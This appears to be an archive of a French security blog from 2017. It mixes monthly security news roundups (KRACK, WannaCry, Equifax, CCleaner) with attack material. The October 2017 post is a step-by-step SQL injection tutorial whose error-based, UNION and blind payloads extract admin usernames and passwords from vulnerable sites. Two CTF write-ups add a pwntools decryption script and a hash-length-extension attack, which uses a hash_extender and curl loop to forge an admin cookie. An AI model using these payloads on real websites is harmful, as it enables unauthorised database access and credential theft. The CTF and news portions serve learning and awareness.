lundi 27 novembre 2017

Actualité sécurité du mois

[Attaque] Les chercheurs de Kaspersky ont découvert des attaques informatiques ciblées provenant du groupe BlackOasis. La spécificité de ces attaques est qu’elles utilisent une vulnérabilité 0-Day d’Adobe Flash embarquée dans un document Office propagé par email. Un correctif concernant la vulnérabilité CVE-2017-11292 a depuis été publié par Adobe. La charge malveillante déployée par les attaquants est l’outil d’espionnage FinSpy.

[Darkweb] Un kit de malware ciblant les DAB a été découvert en vente sur le marché du Darkweb. Cutlet Maker qui permettait de vider les distributeurs de billets, coûtait 5 000 dollars quand il était en vente sur AlphaBay, un « darkmarket » que le FBI a fait fermer en juin. Une des fonctionnalités du malware lui permettait d’analyser le contenu des différentes cassettes de billets afin de cibler celle contenant le plus gros montant.

[Leak] Les informations à caractère personnel de plus de 30 millions de personnes supposément d’Afrique du Sud, ont fuitées. L’exfiltration des données aurait eu lieu en mars 2017 ou avant et la fuite contiendrait des données remontant jusqu’aux années 90.

[Ransomware] Le marché des ransomware se porte très bien selon l’étude de Carbon Black. Les ventes de ransomware auraient grimpé de 2 500% entre 2016 et 2017. Ces programmes malveillants seraient vendus dans plus de 6 300 points de ventes différents sur le « darkweb ». Plus de 45 000 produits différents y seraient proposés avec des prix allant de 0,5 dollar à 3 000 dollars. Certains développeurs de ransomware génèrent plus de 100 000 dollars par an grâce à leurs ventes.

[Malware] Symantec a découvert un malware ciblant Android nommé Sockbot dans la bibliothèque officielle Google Play. Selon les chercheurs, le malware se propagerait sur le store via 8 applications différentes avec un nombre d’installations allant de 600 000 à 2,6 millions d’appareils. Les appareils compromis sont ajoutés à un botnet et pourraient être utilisés dans des campagnes d’attaques DDoS.

[Vulnérabilité] Le fabricant de cartes à puces Infineon a dévoilé que plusieurs versions de leurs produits sont affectés par une vulnérabilité permettant de casser les clés RSA de 1024 et 2048 bits. Les chercheurs tchétchènes à l’origine de cette découverte ont nommé cette vulnérabilité ROCA. Elle permet de calculer la clé privée générée par les puces concernées juste avec la clé publique. Les chercheurs précisent que le calcul nécessaire au cassage d’une clé coûterait entre 40 dollars (1024 bits) et 40 000 dollars (2048 bits) sur les infrastructures Amazon.

Vulnérabilité de la semaine

Des chercheurs ont découvert une vulnérabilité dans le protocole WPA2 utilisé notamment pour sécuriser les communications des réseaux WiFi. L’attaque nommée KRACK exploite des vulnérabilités dans le protocole d’initialisation du chiffrement des communications entre le client et le point d’accès. De nombreux scénarios d’attaques sont possibles, comme par exemple, des attaques de type homme du milieu, permettant le vol d’informations ou la modification des communications à la volée. En France, Orange et Free ont déclaré, après avoir enquêté, que leurs boxes n’étaient pas concernées par la vulnérabilité. Source

mercredi 25 octobre 2017

[Tuto] Exploitation des injections SQL basiques

*** Sommaire ***

__________
Chapitre I)
__________

0) Description : Qu'es-qu'une injection SQL
1) Comment reconnaître qu'un site est vulnérable aux injections SQL
2) Trouver le nombre de colonnes
3) Utiliser la fonction UNION
4) Trouver la version du MySQL
5) Trouver les noms des colonnes et des tables et dumper les données

__________
Chapitre II)
__________

1) Description : Qu'es-qu'une injection SQL aveugle
2) Comment reconnaître qu'un site est vulnérable aux injections SQL aveugles
3) Trouver la version du MySQL
4) Tester si la sélection marche
5) Trouver les noms des colonnes et des tables et dumper les données


-----------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-----------------------------

>> Allons y...

__________
Chapitre I)
__________

0) Description : Qu'es-qu'une injection SQL


Le SQL INJECTION est l'une des communes les plus vulnérables dans les applications web de 
nos jours.
Il permet d'exécuter la requête dans la base de données et d'avoir grace a l'url a certains 
renseignements confidentiels et bien d'autres...

=============> 

1) Comment reconnaitre qu'un site est vulnérable a un SQL ?

Commencons ce tuto en force !
Prénons un exemple d'un site par exemple:

http://www.site-exemple.com/news.php?id=9
Maintenant, il faudra tester si ce site est vulnérable par SQL, c'est simple , nous ajoutons
un ' ( quote ) et donc l'exemple deviendra :
http://www.site-exemple.com/news.php?id=9' <= quote ajouter !

Maintenant, si vous appercevez une erreur du genre:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right etc..."

Ou une erreur de cet exemple, cela signifie que ce site est vulnérable par SQL. ^^

=============> 

2) Trouver le nombre de columns.

Pour trouver le nombre de columns , on utilisera " ORDER BY " qui demande a la base un 
résultat.

Donc maintenant, comment on utilise cela? Eh bien simplement augmenter le nombre jusqu'à ce 
que nous obtenons une erreur comme dans l'exemple ci-dessous:

http://www.site-exemple.com/news.php?id=9 order by 1/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 2/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 3/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 4/* <-- error (une erreur du genre: 
Unknown column '4' in 'order clause' ou un truc de ce genre s'affichera)
 
Cela signifie que l'on dispose de 3 colonnes, car nous avons reçu une cause d'erreur sur 4.

=============> 

3) Utiliser la fonction UNION.

Passons aux choses un peux plus dure..
Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un 
seul SQL a la fois.
Donc nous aurons:
http://www.site-exemple.com/news.php?id=9 union all select 1,2,3/* (nous avons deja trouver 
que le nombre de column est bien 3 , revoir la section (Chapitre I , cours : 2). )

si nous voyons quelques chiffres sur l'écran, c'est-à-dire 1 ou 2 ou 3 alors l'union a 
fonctionné.
Si cela ne fonctionne pas , essayer de changer le /* par -- 

=============> 

4) Trouver la version du MySQL.
Disons que nous avons le numero 2 , maintenant il faudra connaitre la version MySQL , pour 
cela nous allons remplacer le numero 2 par @@version ou version() et nous aurons quelques choses du genre: 4.1.33-log or 5.0.45 ou du meme type...

alors l'exemple sera:
http://www.site-exemple.com/news.php?id=9 union all select 1,@@version,3/*
Bingo , la version du MySQL est devant vos yeux :)

=============> 

5) Trouver les noms des columns et tables et l'exploitation.

Maintenant si la version est < 5 ( 4.1.33, 4.1.12...) , vous devez savoir que les noms de 
table commun pour cette version sont: user/s , admin/s , member/s .........
pour les columns c'est: username , user, usr, user_name, password, pass, passwd, pwd ....

Passons a son exploitation:

Cherchons la table d'admin:

http://www.site-exemple.com/news.php?id=9 union all select 1,2,3 from admin/*
Si vous appercevez le numero 2 , alors cela signifie que vous venez de trouver la table 
d'admin et qu'il existe...

Cherchons les noms des columns:

http://www.site-exemple.com/news.php?id=9 union all select 1,username,3 from admin/* (si 
vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le nom d'utilisateur qui s'affiche à l'écran, par exemple, être admin ou 
superadmin etc alors c'est bon...

Maintenant pour la column de mot de passe,

http://www.site-exemple.com/news.php?id=9 union all select 1,password,3 from admin/* 
(si vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le password a l'écran du type hash ou sans, alors c'est bon, le type varie 
en fonction de la base de donnée

Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex 
pour la colonne.

http://www.site-exemple.com/news.php?id=
9 union all select 1,concat(username,0x3a,password),3 from admin/*

Vous allez voir quelques choses du genre:
username:password , admin:admin , admin:unhash..

=============> 
=============> 

__________
Chapitre II)
__________

1) Description : Blind SQL INJECTION.
Le blind se définit comme le sql normal sauf qu'il est un peu plus dure....

=============> 

2) Comment reconnaitre qu'un site est vulnérable au BLIND SQL ?

Prenons un exemple de:
http://www.site-exemple.com/news.php?id=9

Quand on ouvre la page , nous voyons des articles, images ou autres...
Vous pouvez donc tester le blind :

http://www.site-exemple.com/news.php?id=9 and 1=1 <--- ceci est toujours vrai !
Si la page se charge normalement , c'est bon.

http://www.site-exemple.com/news.php?id=9 and 1=2 <--- ceci est faux
Donc si quelques textes ou images ou un truc est oublié ou déformer, alors ce site est 
exploitable par le blind SQL.

=============> 

3) Trouver la version du MySQL.

Pour avoir la version dans le blind, nous utiliserons le " substring ".

http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=4
Si la page s'affiche normalement, alors c'est une version 4.

http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=5
Si la page s'affiche normalement, alors c'est une version 5.

=============> 

4) Tester si la sélection marche.

Quand le select ne marche pas, nous utiliserons donc le subselect.

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1)=1

si la page se charge normalement, alors le subselect marche.
et si nous voulons voir si nous avons l'access au mysql.user , on fait:

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from mysql.user limit 0,1)=1
Si la page se charge normalement, alors nous avons access au mysql.user et nous pourons 
avoir quelques mot de passe en utilisant la fonction load_file() et OUTFILE.

=============> 

5) Trouver les noms des colomns et tables et l'exploitation.

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from users limit 0,1)=1
Si la page se charge normalement sans erreur alors la table users existe.
Si vous obtenez une erreur , alors vous devez changer le users et mettre autre chose, a 
vous de devinez :D c'est un bon jeu hein...

disons que nous avons trouver la table.. maintenant nous avons besoin du nom de la colonne..
tout comme cela du nom de table, nous commencons la devinette !!

http://www.site.com/news.php?id=
5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
Si la page se charge normalement, alors le nom de la colonne est password.

Ainsi , nous avons la table et la colonne , exploitons :)

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Nous continuons a changer le " 80 " jusqu'a trouver une erreur, suivez bien l'exemple:

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
Nous avons eu une fois de plus un chargement normal.. on continue
http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
Pareille, continuons

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
ERREURRR !!! donc le premier caractère dans username est char(99) si vous convertisser cela en ascii nous avons la lettre " c " .

Maintenant cherchons le second caractère:
http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Noter que je change ,1,1 a ,2,1 pour avoir le second caractère

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
La page se charge normalement

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
ERREUR nombre inférieur..

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
Chargement normal , élevé.

http://www.site.com/news.php?id=
5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
ERREUR

donc nous savons des a présent que le deuxieme caractère est char(105) et que c'est 'i' , 
cela fera "ci" jusqu'a présent...
Faite cela en mode croissant jusqu'a ce que vous obtenez la fin. (si< 0 retourne faux, nous 
avons atteint la fin alors).

-----------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-----------------------------

Nous voici a la fin de ce tutoriel.
Il existent pleins d'outils permettant d'automatiser entièrement l'exploitation des 
injections SQL mais 
apprenez tout de même a le faire manuellement, c'est important pour y voir plus claire.

J'espère que ce tutoriel vous a été utile.

mardi 10 octobre 2017

Actu Sécu

 
[Fuite de données] Equifax a annoncé la fin des investigations numériques concernant l’incident de sécurité révélé le 7 septembre 2017. Le nombre d’utilisateurs américains impactés par la fuite de données a augmenté de 2,5 millions pour un total de 145,5 millions. Environ 8 000 clients canadiens ont également été impactés. Le nombre de clients britanniques impactés n’a pas encore été révélé.

Après avoir acquis Yahoo, Verizon a procédé à des investigations supplémentaires concernant les différentes fuites de données subies par l’entreprise. Le nombre total de comptes email Yahoo impactés par la fuite de données révélée en 2013 atteint les 3 milliards. En plus de cet incident, 700 millions de comptes ont été compromis dans des incidents du même type survenus en 2014 et 2015.

Disqus, un service web de discussions et de commentaires centralisés, a été alerté qu’une sauvegarde de leur base de données utilisateurs datant de 2012 était exposée sur Internet. Les données concernées comprenaient principalement des adresses email et des noms d’utilisateurs en clair tandis que les mots de passe étaient stockés de manière sécurisée, hashés via SHA1 avec un sel. L’incident est toujours en cours d’investigation.

[Malware] La dernière analyse du malware injecté dans le logiciel CCleaner a démontré que le code de certaines fonctions a été partagé avec d’autres outils utilisés par un groupe d’attaquants chinois.

Un chercheur en sécurité a découvert dans l’application Uber sur iOS l’utilisation d’une fonctionnalité permettant d’enregistrer le contenu affiché sur l’écran des smartphones. Apple a permis à Uber d’utiliser un accès non documenté permettant d’écrire mais aussi de lire dans la mémoire contenant les pixels et les données affichés (framebuffer). Un logiciel malveillant pourrait utiliser cet accès spécial comme fonctionnalité permettant d’enregistrer les frappes clavier.

Lors de la conférence Virus Bulletin, un chercheur a prouvé la possibilité de cibler le BIOS d’une machine avec une mise à jour malveillante depuis un document Office embarquant une charge utile en PowerShell.

Une campagne de spams malveillante a utilisé des fichiers HTML compilés pour télécharger et installer un cheval de Troie bancaire brésilien. Les emails reçus prétendent venir de WhatsApp et contenir un historique de conversation. Les fichiers CHM sont principalement utilisés pour la documentation. Dans ce cas, le fichier d’aide pour IPv4 a été modifié pour lancer une commande PowerShell lors de l’ouverture du document.


Compromission

Même si cet événement n’a pas encore été tiré au clair, l’antivirus Kaspersky semble avoir été exploité par des attaquants liés au gouvernement russe pour voler des données sensibles de la NSA (National Secret Agency).
Les données ont été sorties de la NSA et stockées sur l’ordinateur personnel d’un consultant qui possédait l’antivirus Kaspersky. La fuite de données aurait eu lieu en 2015 et a été découverte au début de l’année 2016.
Il n’y a, pour le moment, aucune preuve que Kaspersky ait aidé les attaquants pour voler ces données. Une vulnérabilité dans l’antivirus ou dans le réseau de Kaspersky aurait pu également être utilisée pour exécuter à distance du code malveillant. Source
 


lundi 25 septembre 2017

Veille sécurité

[Vulnérabilité] La semaine a été chargée en vulnérabilités. À commencer par le Patch Tuesday de Microsoft et ses 82 vulnérabilités dont 27 critiques et une vulnérabilité de type zero-day impactant le framework .NET. Cette dernière a été utilisée en juillet dernier par un groupe d’attaquants, qui aurait tenté de cibler un public russophone. L’exploitation de cette vulnérabilité repose sur l’envoi d’un document Word spécialement forgé, sans macros et ayant pour finalité l’installation du logiciel d’espionnage FinFisher.

La deuxième faille de sécurité critique de la semaine se nomme Blueborne et concerne l’exploitation de la pile protocolaire Bluetooth. Des chercheurs de la société Armis, après avoir disséqué les quelques 2 822 pages de spécifications, ont pu mettre en avant plusieurs vulnérabilités permettant au final d’exploiter le système d’exploitation des périphériques ayant le Bluetooth d’activé. Ainsi, les 8.2 milliards de périphériques Bluetooth, fonctionnant sous Linux, Android, Windows et iOS sont potentiellement exploitables. Il est donc recommandé de tenir à jour son système d’exploitation et de désactiver le Bluetooth lorsqu’il n’est pas utilisé.

[Monnaies virtuelles] Les crypto monnaies, bien qu’étant dans le collimateur des régulateurs chinois, restent attrayantes pour les cybercriminels. Une étude récente a démontré la recrudescence de malware ayant pour but de miner des jetons de monnaies virtuelles et la hausse de leur présence sur des serveurs d’entreprise.

[Fuite d’informations] Une nouvelle fuite de données concernant le vote électronique a été découverte par une équipe de chercheurs en sécurité. Elle concerne les données de 593 328 citoyens américains (électeurs de l’état de l’Alaska) qui étaient publiquement accessibles sur Internet suite à une mauvaise configuration de la base de données.

Il ne faut pas sous-estimer l’importance d’une bonne communication lors d’une gestion de crise comme l’a appris à ses dépens la plate-forme de contenu multimédia Vevo. En effet, le groupe d’attaquants Our Mine, a contacté Vevo via Linkedin pour les informer qu’ils avaient exfiltrés des documents internes mais qu’ils ne seraient pas publiés. Cependant, la réponse virulente apportée n’était visiblement pas la bonne, puisque les 3,12 To de données internes ont été rendues publiques dans la foulée.


Des malwares tirent profit des mauvaises configurations de serveurs Elastic Search pour y déposer les malwares impactant les terminaux de paiement. Pas moins de 4 067 serveurs distribuent ainsi ces souches et servent également de serveurs de commande et de contrôle.


[Equifax] Suite à l’annonce la semaine dernière de la fuite de données de près de 143 millions de résidents américains par le président d’Equifax, de nouvelles informations ont été dévoilées. Equifax a ainsi reconnu que la compromission résulte d’une procrastination dans la mise à jour de certains serveurs concernant une faille de sécurité publiée en mars dernier visant Apache Struts (CVE-2017-5638). Selon les investigations, les attaquants auraient eu accès au réseau d’Equifax entre le 13 mai 2017 et le 30 juillet 2017 leur permettant également d’exfiltrer les informations personnelles de résidents britanniques et canadiens.

 [Menace]
La nouvelle tendance des cybercriminels s’oriente vers les « Supply chain attack » qui s’attaque aux systèmes de mise à jour d’éditeurs de logiciels. Cette fois-ci le système de mise à jour de CCleaner d’Avast a été visé. Selon Talos, seraient incriminées la version 32 bits v5.33 et la version Cloud 1.07.3191, mises en ligne entre le 15 août 2017 et le 11 septembre 2017. La finalité du code malveillant n’est pas encore claire à l’heure actuelle. Selon l’éditeur Avast, les versions impactées auraient été installées sur plus de 2 millions de machines. Il est vivement recommandé de mettre à jour CCleaner dans les plus brefs délais.
Fonctionnement du code malveillant embarqué dans CCleaner v5.33 – Source Talos

 Source


lundi 14 août 2017

Actualité sécurité

[Vulnérabilité] SMBLoris, une nouvelle vulnérabilité SMB a été divulguée durant la même conférence DefCon. La vulnérabilité est présente dans tous les OS Microsoft depuis Windows 2000. Un attaquant distant peut exploiter cette vulnérabilité d'épuisement de la mémoire en envoyant un paquet NBSS spécialement conçu entraînant ainsi un déni de service. Microsoft a déjà indiqué qu'il n'émettrait pas de patch pour cette vulnérabilité car elle ne correspondait par aux critères de services de sécurité du géant de Redmond. Afin de combler le vide, les fournisseurs des solutions IPS / IDS ont déjà commencé à publier des solutions personnalisées pour détecter et prévenir l'exploitation de SMBLoris.

[Cybercrime] Pendant des mois, le kit d'exploitation Magnitude a été le moyen de diffusion privilégié pour le célèbre ransomware Cerber. Sa capacité à tromper les systèmes d'enchères en temps réel utilisés par de nombreuses régies publicitaires le démarque des autres kits d’exploitation. En outre, Magnitude utilise des sites de leurres personnalisés pour filtrer plus efficacement le trafic entrant.

[Juridique] En 2015, une société allemande a licencié un de ses employés après l'avoir accusé d'avoir travaillé sur un jeu vidéo pour une entreprise rivale pendant ses horaires de travail. Le développeur a ensuite poursuivi son ancien employeur pour un licenciement injustifié et a remporté l'affaire en raison du fait que son ex-employeur avait obtenu les preuves par l'entremise d'un « keylogger ». Cela malgré le fait que l’employeur avait bien informé ses employés que leur trafic réseau et ordinateurs professionnels seraient surveillés en permanence. Sans toutefois préciser de de détails techniques.

lundi 17 juillet 2017

CTFZone 2017 e-Voting (crypto 409pts)

It's a crypto task where they gived us a ciphertext which is represented in two values (C1 & C2) ; this help us to realize that's the cryptosystem probably used is el gamal cryptosystem which is also based on diffie-hellman like it was said in the description of the task. The aim is clear, we have to decipher this ciphertext and the plaintext will be the flag. The script below will decrypt the ciphertext quickly due to flaw of the implementation of the cryptosystem by this service. from pwn import *
import re
import sys
import string

r = remote("82.202.204.134",1331 )
m = r.recvuntil('-> ', drop=True)
m = m.split("(")
m = m[1]
m = m.split(")")
m = m[0]
m = m.split(" ")
C1 = m[0]
C2 = m[1]
r.writeline("D \n")
m = r.recv()
C1 = int(C1) * 2
r.writeline(str(C1) +" " + str(C2))
o = r.recv()
o = o.split("\n")
o = o[1]
o = int(o,16)
o = o / 2
o = format(o, 'x')
print "flag is : ctfzone{"+o+"}"

Output :
ctfzone{fc575129f3935d5b456ed55ef8173574}

mercredi 17 mai 2017

Wanna Cry

Rançon

La fin de semaine a été mouvementée pour les administrateurs sécurité à travers le monde suite à la propagation du ransomware WannaCry. Ce malware a défrayé la chronique tout le week-end en raison de sa rapidité de propagation et de son impact important sur plusieurs grosses entreprises.

Cela a commencé vendredi après-midi avec la perte du réseau de téléphonie mobile espagnol Telefonica pour continuer sur le blocage des services hospitaliers anglais, l’arrêt de plusieurs sites de productions à travers le monde dont Renault mais aussi l’infection de différentes banques.

Ce ransomware a utilisé comme moyen de propagation une faille rendue publique mi avril suite à la divulgation par le groupe ShadowBrokers des outils offensifs de la NSA.

Pour se propager, le ransomware scanne le réseau local sur lequel il se trouve ainsi qu’une plage d’adresse IP publique aléatoire à la recherche d’autres machines vulnérables. 

La leçon à retenir est qu’il est nécessaire d’appliquer aussi rapidement que possible les mises à jour de sécurité pour éviter une paralysie complète du système d’information.




mardi 25 avril 2017

Actualité sécurité

Attaque

La Fédération internationale d’athlétisme a été victime d’un piratage informatique notamment les exemptions accordées à certains athlètes les autorisant à utiliser, pour raisons médicales, des produits interdits. Selon l’IAAF, l’attaque a été menée par le groupe FANCY BEAR (aussi connu, notamment, sous le nom d’APT28). Pour rappel, La Fédération internationale d’athlétisme a suspendu depuis le 13 novembre 2015 la Russie de toutes les compétitions internationales – dont les Jeux olympiques de Rio et les Championnats du monde 2017 à Londres – après des révélations établissant un dopage d’État en Russie. Source

Menace

Des attaquants utilisent de fausses stations radio en Chine pour distribuer le malware Android Swearing par SMS. Interceptant la communication d'un terminal et de son réseau sans fil en se faisant passer pour un opérateur légitime, les attaquants envoient un message texte à l’utilisateur l'invitant à télécharger une application ou une mise à jour, en cliquant sur un lien de téléchargement d'un fichier APK. Le malware Swearing exfiltre les données à caractère personnel contenues dans le portable et intercepte les SMS pour passer outre l’authentification à deux facteurs ou d’autres systèmes à codes uniques utilisés par les banques chinoises. Source


Vulnérabilité

[Apache] Une vulnérabilité permettant l’exécution de code à distance a été découverte dans le parseur Jakarta d’Apache Struts2. Cette vulnérabilité est en activement exploitée dans la nature et des preuves de concept sont publiquement disponibles. L’exploitation la plus avancée tente de télécharger une charge malveillante et de désactiver le pare-feu local avant l’exécution du malware.

Apache a mis à disposition plusieurs versions de Apache Struts2 qui ne sont pas vulnérables (2.3.32 / 2.5.10.1 ou plus élevée) et il est fortement conseillé d’installer ces mises à jour. Source

Fuite

[IOT] Une fuite de donnée a touché la semaine dernière une infrastructure utilisée par un ours en peluche connecté créé par une société nommée Cloud Pets : 800 000 comptes ont été volés. Les jouets sont conçus pour effectuer des connexions sur une infrastructure dédiée utilisant MongoDB. Malheureusement, leur instance de MongoDB écoutait sur l’adresse IP publique de la machine qui l’hébergeait et n’utilisait aucun mécanisme d’authentification…

La communication autour de cet incident a été très mal gérée par la société et l’impact sur les actions de Spiral Toys (la société possédant Cloud Pets) a été terrible… Source




Menace

Google et des chercheurs de l'institut CWI (Centrum Wiskunde & Informatica) ont annoncé être parvenu à générer une collision via la fonction de hachage cryptographique SHA-1. Encore utilisée pour sécuriser les communications et les certificats, cette collision confirme que la sécurité de SHA-1 n’est plus garantie. La méthode sera dévoilée sous 90 jours afin notamment que les utilisateurs de SHA-1 puissent migrer vers des solutions de chiffrement plus complexes. Google a déjà implémenté des protections relatives à cette technique sur certains de ses produits. Source

jeudi 5 janvier 2017

MSSP CTF WEB 150 - Safe Hashing

#Sudo_root
#Zakizak

MSSP CTF
WEB 150 - Safe Hashing

We gave us a link and we asked us to get the secret under it.
The link given was : https://web-piratuer.c9users.io/web5/
Opening the page https://web-piratuer.c9users.io/web5/index.php~  shows this line of code
'; } else { readfile(basename($_GET['useme'])); } } ?>
From the line, above,  we can see that readfile function is used and parameter 'useme' define which page should be loaded. Let’s add this parameter to the end of our URL and try to load the page 'index.php' trough this manner  :
https://web-piratuer.c9users.io/web5/?useme=index.php
Openning the index page this way, return the same result as the page " index.php~" loaded natively before.
Now, after a few tries of pages suceptibles to exist, we found that a page named 'admin.php' exist. Unfortunately, loading this page return us a troll image which seems to tell us that we can't load it as easily.


Showing the source code of this page reveals interesting things. There is a huge party of the source code of the page ‘admin.php’, Here it is :
<!--?php #Serious things begin now good luck :). require_once("config.php"); $passme = false; if (isset($_COOKIE["is_admin"])) { $pass = $_COOKIE["is_admin"]; $passme = unserialize($pass); $signature = $_COOKIE["mac"]; if ($signature !== hash("sha512", $SHAREDSEC . strrev($pass))) $passme = false; } else { $passme = false; $serial = serialize($passme); setcookie("is_admin", $serial); setcookie("mac", hash("sha512", $SHAREDSEC . strrev($serial))); } if ($passme) { echo "Congrats!! ".$FLAG; } else echo '<img src="troll.jpg" alt=""-->

One line captivante in this source code is :
if ($signature !== hash("sha512", $SHAREDSEC . strrev($pass)))
This line is the only one which could let the variable $passme having another value than false in order to fill the last condition which is :
if ($passme) { echo "Congrats!! ".$FLAG; }
And as a consequence, getting the flag we search for.
Now we can see that there is a hash extension vulnerablity. It means that we can add arbitrary data to the end of the string, and generate a new authentication token for it.
When we visit the admin page natively for the first time, this code is executed:
$passme = false;
$serial = serialize($passme);
setcookie("is_admin", $serial);
setcookie("mac", hash("sha512", $SHAREDSEC . strrev($serial)));

From that, we see that our cookie is a serialized PHP datatype, in this case simply 'false'. The mac token is generated by prepending a secret to the reversed version of the authentication string .
Those two cookies are set. Then later, when you return, the cookies are sent back and validated:


if (isset($_COOKIE["is_admin"]))
{
$pass = $_COOKIE["is_admin"];
$passme = unserialize($pass);
$signature = $_COOKIE["mac"];
if ($signature !== hash("sha512", $SHAREDSEC . strrev($pass))) $passme = false;
}

By looking for created cookies, I find out that my cookies for this website are:
is_admin=b:0;
mac=1505c60315b49ac1403d9cc0e2d02a435f3550b61cbf95000de3d19746b65545b361516775355aaa8fa57bf49f0a6a4e2c76667fa1ee38da5ae1681a5ccff2d
The value "b:0;" refer to boolean zero (false). The true value will be "b:1;". That's the value I want to append.
The only constraint is that we don’t know the length of $SHAREDSEC, which is unfortunately important for this attack. So we have to brute-force it.
For doing that, we’ll use a tool called hash_extender. However, we have to modify it a little  because this challenge requires the string to be reversed before being validated.
Basically, we just have to modify the output function under the main file ‘hash_extender.c’ in order to reverse the string as said.
Then, we run hash_extender like this:
$ ./hash_extender --data ';0:b' -s 1505c60315b49ac1403d9cc0e2d02a435f3550b61cbf95000de3d19746b65545b361516775355aaa8fa57bf49f0a6a4e2c76667fa1ee38da5ae1681a5ccff2d9 --append ';1:b' --secret-min=1 --secret-max=32 --out-data-format=html
This tells it to try every secret length between 1 and 32 bytes. One of them should work.
Then we can automate the task entirely by mixing curl tool to the above function for each of the 32 request like this :
for i in `./hash_extender --data ';0:b' -s 1505c60315b49ac1403d9cc0e2d02a435f3550b61cbf95000de3d19746b65545b361516775355aaa8fa57bf49f0a6a4e2c76667fa1ee38da5ae1681a5ccff2d9 --append ';1:b' --secret-min=10 --secret-max=32 --out-data-format=html`; do HASH=`echo $i | sed 's/,.*//'`; DATA=`echo $i | sed 's/.*,//'`; echo "$DATA :: $HASH"; curl -b "is_admin=$DATA;mac=$HASH" https://web-piratuer.c9users.io/web5/admin.php; echo; done
By redirecting the result into a file and by searching for the prefix of the flag mssp, we  fast retrieved the whole flag as shown below: